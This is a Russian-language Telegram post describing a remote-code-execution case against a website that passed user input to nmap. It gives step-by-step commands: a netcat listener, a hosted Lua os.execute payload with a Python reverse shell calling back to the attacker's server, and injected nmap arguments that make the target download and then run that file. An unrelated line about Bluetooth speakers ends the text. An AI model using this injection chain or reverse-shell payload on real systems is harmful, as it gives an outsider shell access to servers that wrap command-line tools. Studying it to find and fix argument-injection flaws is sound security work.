One brick to the IT world
482 subscribers
26 photos
5 videos
2 files
78 links
Download Telegram
Очень давно был интересный кейс с сайтом для системных администраторов, где можно было проверить открыт ли порт сайта. Первое, что пришло голову, это вписать в IP:
127.0.0.1 -h
В результате сайт вернул мануал nmap-a. Но многие символы фильтровались и выйти за переделы команды nmap-а не удалось. После этого, путем проб и ошибок, был найден интересный вектор remote code execution.

В составе nmap есть модуль http-fetch, который умеет ходить по URL и скачивать файлы. Более того, можно даже указать куда сохранить файл. Немного покурив, как работают скрипты nmap, было обнаружено, что через функцию os.execute() можно выполнять команды.

0) На своем сервере открываем порт 8888:
nc -lvp 8888
Допустим IP вашего сервера 1.1.1.1

1) Создаем у себя на сервере файл index.php с содержимым:
os.execute("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")

2) Запускаем встроенный сервер php:
php -S 0.0.0.0:8080

3) На атакуемом сайте вместо IP пишем:
1.1.1.1 -script http-fetch
Вместо порта:
8080 -dd -script-args destination=/tmp

Т.е. на бэкенде сайта команда преобразуется в что-то типа:
nmap 1.1.1.1 -script http-fetch -p 8080  -dd -script-args destination=/tmp

В результате выполнения этой команды, по пути /tmp/1.1.1.1/8080/index.html будет лежат скрипт с первого шага.

4) Запускаем скачанный скрипт, вписав вместо порта:
8080 -dd -script /tmp/1.1.1.1/8080/index.html 
и получаем бэкконнект.

Таким образом, иногда необязательно выходить за рамки команды, вписывая такие символы, как | & ;.

Вот такой вот зиродей😁

#case #nmap #research #rce
Best Bluetooth Speaker Sound Quality